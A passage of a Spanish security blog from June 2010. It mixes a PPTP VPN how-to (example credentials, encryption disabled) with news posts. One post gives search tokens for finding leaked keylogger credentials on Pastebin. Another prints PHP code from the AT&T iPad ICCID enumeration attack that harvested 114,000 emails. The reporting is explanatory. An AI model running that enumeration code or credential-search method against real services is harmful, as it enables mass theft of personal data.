    ms-ignore-domain
    chap-secrets /etc/ppp/chap-secrets
    ms-dns 8.8.8.8
    ms-dns 8.8.4.4
    mtu 1450
    mru 1450
    debug
    localip 192.168.2.100
    remoteip 192.168.2.101-151
    

    Una vez guardado el archivo, sobre el fichero de usuarios y contraseñas: /etc/ppp/chap-secrets creo dos usuarios, aramosf y akelarre

    # Secrets for authentication using CHAP
    # client        server  secret                  IP addresses
    aramosf         *       Gold3nNYC                *
    akelarre        *       Ch0riz0fr1to             *
    

    Ya solo queda configurar el cliente Android con cuatro sencillos pasos:

    1.- En Ajustes, Con. inalámbricas y redes pulsar sobre "Configuración de red VPN"


    2.- Añadir VPN
    3.- Añadir red VPN "PPTP"



    4.- En esta parte especificar un nombre que queramos, la dirección IP de nuestro servidor Linux e importante, deshabilitar la encriptación.



    Una vez guardada la configuración, desde el mismo menú "Configuración de red VPN", aparecerá "Redes VPN" con el nombre que se haya asignado y al pulsar sobre la red pedirá usuario y contraseña, que hemos de introducir en base a los que se especificasen en el archivo chap-secrets.


    Cuando conecte la VPN el dispositivo tendrá asignada alguna de las direcciones IP remotas (en esta configuración dentro del rango 192.168.2.101-151) y perderá conexión con Internet ya que actualmente el terminal no soporta un enrutado más complejo.

    Otra consideración importante es que no se puede habilitar el cifrado MPEE (Microsoft Point-to-Point Encryption) salvo que se modifiquen los binarios del PPP, para lo que hará falta móviles con acceso para el usuario root y sustituirlos por los siguientes archivos: http://melko.hiljanen.com/~qvr/android/ppp/
    Leer más...

    17 junio 2010

    Nuevos desafios para 'hackers'

    Con el avance de las redes telemáticas poco a poco estamos llegando a un punto en el que prácticamente 'todo' está conectado a internet o tiene cuanto menos una 'interface' accesible desde un ordenador.

    Leyendo un artículo de FoxNews me encuentro un curioso top de cosas que, debido a su evolución informática, se han convertido en 'nuevos targets' para hackers

    1. Tu coche: Cada vez más los fabricantes de vehículos están añadiendo sistemas que permiten gestionar diversos aspectos del coche telemáticamente, entre otros Mercedes ya incluye un sistema por el que puedes 'bloquear' remotamente tu coche vía GSM. A eso habría que sumar todo lo relativo a los cada vez mas sofisticados ordenadores con los que salen equipados. Tampoco podemos olvidar la conectividad de tipo Bluetooth que se puede encontrar en cualquier coche (cuanta gente sigue usando el pin por defecto para asociarse ??)
    2. Sistemas GPS: Desde aquellos primigenios Tom Toms que había que actualizar manualmente, hasta los modernos sistemas de ahora que permiten un montón de funcionalidades, ha llovido bastante. Ahora los modernos GPS permiten conectarse a Internet, actualizar el firmware, auto-descargar mapas, incidencias de tráfico y hasta publicar las rutas realizadas. Evidentemente, en este escenario la posibilidad de que el GPS pueda ser troyanizado o la perdida de privacidad que puede suponer el compromiso de las credenciales (y el acceso a las rutas realizadas) son riesgos a tener en cuenta
    3. Teléfonos Móviles: Probablemente todos recordemos aquellos simpáticos móviles Nokia que únicamente permitían enviar / recibir llamadas / sms y que a lo sumo podían usar mini aplicaciones Java. De esos móviles a los actuales ha cambiado bastante la película. Según han evolucionado hasta convertirse en mini-ordenadores, los riesgos se han multiplicado. Sirva esto como ejemplo
    4. Electrodomésticos: Todavía suena a chiste eso de 'una cafetera conectada a internet' pero ciertamente cada vez mas y mas electrodomésticos añaden esa característica, y claro luego pasa lo que pasa
    5. Impresoras: Es increíble la cantidad de información que se puede extraer de una impresora moderna ya que normalmente cuentan con sistemas de almacenamiento en los que suelen quedar copias de documentos.
    6. Camaras Digitales: La gente de TrendMicro ya ha detectado spyware / troyanos destinados a ser instalados en la propia cámara digital
    7. Sistemas SCADA: Cada vez más los sistemas de tipo SCADA destinados a la gestión de infraestructuras están mas en boca de todos, las posibilidades que ofrecen desde el punto de vista de un potencial atacante son infinitas (acceso a gestión de energía, suministros ...) Y no es que estén demasiado escondidos
    8. El cuerpo humano: Sí suena muy a cienciaficción pero lo cierto es que mas allá de las típicas noticias sensacionalistas, existe un riesgo inherente en los dispositivos que van 'dentro' del cuerpo. Muy recomendable leer lo que se publicó en el Boletín Enigma sobre marcapasos
    Leer más...

    15 junio 2010

    Pastebin como repositorio de logs de keyloggers

    pastebin.com es un juguete. Un caramelo. Un caramelo dulce para algunos, y para otros muy amargo, y la mayoría de estos últimos aún no lo saben. Alejandro hace unos meses ya nos comentó lo que da de si este servicio en un principio destinado a compartir trozos de código fuente, el cual te devuelve un enlace que se puede distribuir para que cualquiera pueda consultarlo. El consultar aleatoriamente el listado de "Recent Posts" que podemos ver en la parte izquierda de la página para ver que sube la gente nos puede regalar alguna que otra sorpresa curiosa.

    El problema es que mucha gente lo utiliza para compartir información muy extensa (no necesariamente código fuente), como por ejemplo e-mails, ficheros de configuración de servicios propios...¿y la "última" moda? Dejar una muestra de información sensible obtenida con el fin de que por ejemplo un comprador "vea el material" y seguidamente pague por la versión completa. Parejas de e-mails y contraseñas, obtenidas de phishings (¿recordáis el caso de las contraseñas de hotmail?), volcados de registros de tablas de bases de datos de foros...


    Pues lo último que se ha podido encontrar en pastebin han sido logs o registros de lo que parece ser un keylogger, aplicación que residente en el sistema intercepta todas las pulsaciones de teclado (también hay versión "hardware"). BitdefenderLabs ha detectado estas filtraciones y las reportó a The Tech Herald. En esta imagen podemos ver un preview de información propia del keylogger, que muestra usuarios y contraseñas de servicios de correo, redes sociales como orkut o facebook, incluso accesos a routers y otros paneles de control, así como conversaciones de mensajería instantánea, actualizaciones en páginas...¡incluso se ven pulsaciones de teclado en videojuegos! Esto descarta por tanto que sea un keylogger a nivel de navegador, como por ejemplo un ActiveX, un complemento de firefox...

    Del preview que os comento podemos observar las codificaciones que el keylogger asigna a las teclas tabulador ("<tab>"), backspace ("<back>"), dígitos numéricos de teclado (numpadX donde X es el dígito). Estas palabras tan concretas nos sirven para poder realizar búsquedas más concretas dentro de pastebin (que en el momento de redacción de esta entrada, los logs no han sido borrados). Siempre que ocurren este tipo de filtraciones, pastebin.com desactiva la función de búsqueda hasta que consigue realizar una limpieza de información sensible...esta vez, están tardando.

    Esta última es la que más da juego da, ya que como sabréis, el tabulador se utiliza mucho para pasar de usuario a la contraseña en los formularios de autenticación...

    Buscando "<back>" o "<tab>" obtendremos una gran cantidad de resultados, en muchas ocasiones intentos de autenticación a servicios, conversaciones como comentábamos, con el formato de [titulo de la ventana] y a continuación la información interceptada.

    Es curioso como a día de hoy, tras ver incluso tarjetas de crédito con sus CVV2 válidos, la gente siga confiando en este servicio tan "crawleable" para compartir información tan sensible. Y tenemos las dos versiones:

    1. Los incautos buenos e inocentes que copian los ficheros de configuración que incluyen credenciales para que otros las revisen porque les da error al ejecutar X servicio.
    2. Los incautos malos y malvados que dejan su material ilegal para que los vean sus compradores.
    Tened cuidado con lo que pasteais ahí fuera.

    Leer más...

    14 junio 2010

    Eligiendo sistema operativo para tu servidor

    Hoy la cosa va de servidores… WTF! es lo que ha salido de mi boca varias veces leyendo el post del blog de Chema Alonso, en el que había estado trasteando con la FOCA sobre Ubuntu.com.

    Nos cuenta que como conclusión a los resultados que ha obtenido en el análisis, es que en Ubuntu, usan de todo, menos Ubuntu. Los más usados son Debian (de la cual deriva Ubuntu), Redhat y hasta FreeBSD.

    Siempre he tenido en la cabeza cuando he tenido que instalar un servidor Unix que, si la función de dicha máquina va a ser esa únicamente, dar un servicio definido, prima la estabilidad, seguridad, soporte, agilidad en las actualizaciones,…. antes que la novedad.

    Desde hace unos años, el movimiento y evolución en el mundo Linux ha sido bastante sonado:
    Así pues, se ha logrado que cada distribución se asocie más a una tarea determinada. En general, montar Fedora Core o Mandriva suele ser para equipos con funcionalidad de escritorio, en los que te interesa que exista el último driver para un hardware muy novedoso. En este punto encuadraría también sin dudarlo a Mac OS X y algunas versiones de Windows, que claramente son para lo que son: Interacción directa con el hardware del usuario.

    Para servidores, la palma se la llevan Debian, RHEL (o CentOS como versión libre) o Suse por los motivos descritos anteriormente. Si las funciones que va a hacer la máquina son servir páginas web, correo, antispam, base de datos, vpn, etc… al dar lo mismo una distribución que otra, la mentalidad conservadora obliga a usar lo más estable, aunque se pierdan los últimos drivers (que no vamos a utilizar).

    Por supuesto que el rendimiento es importante también, si un sistema operativo no cumple con las espectativas necesarias para el servicio que va a dar, deja de ser válido y requiere que busquemos otro más parametrizable para lograr mayor rendimiento:

    • Derivados de BSD: Como FreeBSD, OpenBSD y NetBSD, que además de contar con una tasa de fallos de seguridad publicados muchísimo menor, permiten/obligan a definir a mano las opciones y la ejecución de la compilación de cada servicio. La ventaja de elegir este tipo de sistema operativo es que lograrás el mejor rendimiento bajo ese mismo hardware. La mayor pega, por ponerle alguna, sería la mayor incomodidad respecto a otras opciones en los procesos de parcheado o actualización de programas, que requieren recompilar de nuevo.
    • Solaris: Inicialmente basado en BSD y luego pasó a ser System V, Solaris ha demostrado sobradamente sus características para haber sido uno de los sistemas operativos favoritos por su estabilidad. Ahora en manos de Oracle al haber comprado Sun, veremos dónde está el futuro de Solaris, por lo que no lo recomendaría para montar un servidor nuevo por si acaso.
    • Si eres un ninja del Linux sí o sí, siempre puedes compilar un kernel con lo mínimo para ese servidor dotándolo del mayor rendimiento posible para el uso que le vas a dar.

    Y tú... ¿Qué sistema operativo utilizarías para servidor?
    Leer más...

    13 junio 2010

    Enlaces de la SECmana - 23

    Volvemos un domingo más, por fin con imagen para esta sección y con nuevos enlaces interesantes sobre seguridad informática que han ido apareciendo a lo largo de esta semana.

    Preparad vuestros navegadores y dejad libre un buen puñado de memoria RAM porque os vais a hartar de pestañas por culpa de esta semana tan sumamente movida:
    ¡Hasta la SECmana que viene!
    Leer más...

    12 junio 2010

    Ciberterrorismo: el lado oscuro de la red

    Parece que últimamente está de moda hacer docu-reportajes sobre la seguridad en la red. ¡Y nosotros encantados! Hace un par de meses os hablamos del reportaje que emitió el programa REC de Cuatro de la mano de Jon Sistiaga, muy comentado en la red, y con un estupendo debate posterior. Esta vez, es el turno de Informe Semanal en TVE, en la actualidad presentado por David Cantero.


    Esta noche, el programa de reportajes por excelencia hace un repaso al ciberterrorismo que se da actualmente en la red en Ciberterrorismo: el lado oscuro de la red, con una entrevista a la secretaria general del CNI, Elena Sánchez.

    En el reportaje, de aproximadamente 20 minutos, se mostrará la vigilancia que se lleva a cabo y el seguimiento de cerca debido a las amenazas por terrorismo informático a las que estamos sometidos, tanto las de nuestras fronteras como las internacionales, tanto de las que tenemos constancia como las desconocidas. Como se ha repetido hasta la saciedad, los cuerpos de seguridad no sólo están alerta a lo que se avecina por tierra, mar y aire...el nuevo exponente es la red.

    Así que recordad, esta noche a partir de las 21.30h podréis ver este reportaje que formará parte del programa. Excusas de "hay mucha publicidad" no aceptadas, y a comentarios del tipo "paso, me voy de botellón, ya me lo bajaré"/"se colgará?": tranquilos, que podréis verlo en la propia web ya que en su mediateca los cuelgan íntegros y separados por reportajes.

    [+] Nota de prensa "Ciberterrorismo: el lado oscuro de la red"
    [+] Fragmento del reportaje (1m57s)
    [+] Página de Informe Semanal en RTVE.es

    ACTUALIZACIÓN: YA disponible el video online en este enlace:

    Leer más...

    11 junio 2010

    ¿Buscas 114.000 correos de gente influyente? Razón: AT&T

    Ahí es nada! Gracias al modo de registro de los Ipad con 3G comprados en Estados Unidos, un grupo de hackers llamado Goatse Security han podido extraer, los correos electrónicos de, atención!!, hasta 114.000 personas...

    Además, dado lo novedoso del gadget de la marca de la manzana mordida, los correos obtenidos son de personas relevantes en el mundo tecnológico y los negocios, es decir, aquellos "privilegiados" que han recibido un Ipad de forma anticipada, antes de su lanzamiento público, generalmente usuarios VIP. ¿Estará el de Enrique Dans entre ellos?

    Pero ¿cómo es esto posible?

    Fundamentalmente, gracias a un pobre diseño en la web del operador en exclusiva en el país del tío Sam para vender el Ipad 3G: AT&T. No es la primera vez que la compañía de comunicaciones tiene algún desliz conocido en sus páginas PHP.

    En este caso, resulta que mediante la web del citado operador, es/era posible, enviando el ICC-ID (número de serie de cada Ipad), obtener en la respuesta, el nombre y correo electrónico del dueño del famoso gadget:

    En realidad, una página redirigía a la otra mediante Javascript, pero podía simularse haciendo dos peticiones consecutivas, obteniendo finalmente los datos.

    La URL inicial que lo que pedías tenía este formato:
    https://dcp2.att.com/OEPClient/openPage?ICCID=<aqui_va_el_numero_de_serie>&IMEI=0
    La URL a la que se redirigía era:
    https://dcp2.att.com/OEPClient/Customer
    Así pues, para generar números de serie válidos, se basaron en aquellos publicados por los geeks que hacían fotos o capturas de pantalla (tan comunes entre gente que quieren mostrar al mundo que tiene un IPad), de sus dispositivos o la pantalla "Ajustes -> General" para generar la base de un número de serie válido.

    A partir de ahí, crearon un script en PHP que, a partir de esa base, generaba números de serie y preguntaba al servidor de AT&T quien era su dueño y su correo.

    Aquí tenéis la función que generaba números de serie:

    function genluhn($number){ //Crappy home-made Luhn checkdigit generator
        $i = strlen($number)-1;
        do {
            $array[] = $number[$i];
            $i--;
        } while ($i > -1);
        $i = 0;
        foreach ($array as $digit) {
            if (!($i & 1)){
                $digit = $digit * 2;
                if ($digit >= 10) {
                    $digit = $digit - 9;
                }
            }
            $total += $digit;
            $i++;
        }
    $luhn = 10 - ($total % 10);
    if ($luhn == 10) $luhn=0;
    return $luhn;
    }
    

    Había que tener en cuenta que en la petición, era necesario que la cabecera UserAgent tuviera el formato que utiliza Ipad "Mozilla/5.0 (iPad)" y el resto se limitaba a hacer un bucle que fuera generando números de serie, preguntando al servidor y guardando las respuestas.

        $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to 
    the ICCID
        curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&IMEI=0");
        $output = curl_exec($ch); //Load first page with ICCID
        curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer");
        $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript. 
    cURL is nice and passes the previously GET'd info
        curl_close($ch);
    
    El script completo que podéis ver aquí añade detalles de formato para mostrar datos en caso que un número de serie fuera correcto o no.

    Así se hicieron con 114.000 contactos de VIPs de la talla del CEO de New York Times, del de Dow Jones, del fundador de Bloomberg...



    Lo que darían ciertas empresas y mafias organizadas de ciberdelicuentes por esos 114.000 contactos de peces gordos con información confidencial y útil en sus PCs.

    ¿Os imagináis una campaña de phising o ingeniería social correctamente dirigida contra los contactos adecuados? ¿Qué supondría instalar un troyano especialmente creado incluso para los Ipad de este tipo de personajes? ¿Es una muestra más de APT?
    Leer más...

    10 junio 2010

    Hackeos memorables: Google

    Fue el último caso de hacking-a-gran-escala mas sonado de todo el 2010, junto con el aparecieron incluso nuevos términos como 'APT', llegó a causar un incidente diplomático entre EEUU y China y finalmente ha creado el rumor mas simpático que se ha escuchado últimamente.

    Si, el hackeo a Google fue uno de esos sucesos que ponen el tema de la seguridad informática en primera linea de fuego. Una gran compañía a la que se le presuponen infinitos medios, hackeada.

    ¿Pero como sucedió esto? ¿como se pudo poner de rodillas a todo un Google? Parece que poco a poco los detalles de la investigación se van haciendo públicos. Según un artículo del New York Times, el asunto fue algo mas que 'unos cuantos servidores' e incluso se habla de la posibilidad de que los atacantes consiguieran acceso a Gaia, que es el 'corazón' de la gestión de usuarios en los servicios de Google (una especie de single-sign-on), la herramienta que almacena  y gestiona tus contraseñas en los servicios de Google.

    El How To del hackeo en formato cronológico:

    1. Los atacantes, empleando MSN Messenger contactan con un empleado de Google y vía ingeniería social, le hacen llegar un enlace malicioso que contenía un exploit ad-hoc contra IE, este empleado al visualizar el enlace, es infectado por un troyano.
    2. Desde ese equipo, consiguen acceder a los servidores de un grupo de desarrollo de 'alto nivel' (con misiones críticas, no que fueran fans de Java, Perl o Python)
    3. Una vez se hicieron 'fuertes' en esos servidores fueron directamente a por los repositorios centrales de código en la sede de Google.
    Me asaltan un par de dudas: Si llegaron tan 'hasta la cocina' y llegaron a tocar servidores con código en producción, ¿Que ha hecho Google para verificar que no se hayan introducido funcionalidades 'no documentadas' en los servicios? Mas aun, ¿Seguro que no se llegó a comprometer Gaia y algunas / todas las contraseñas?

      Leer más...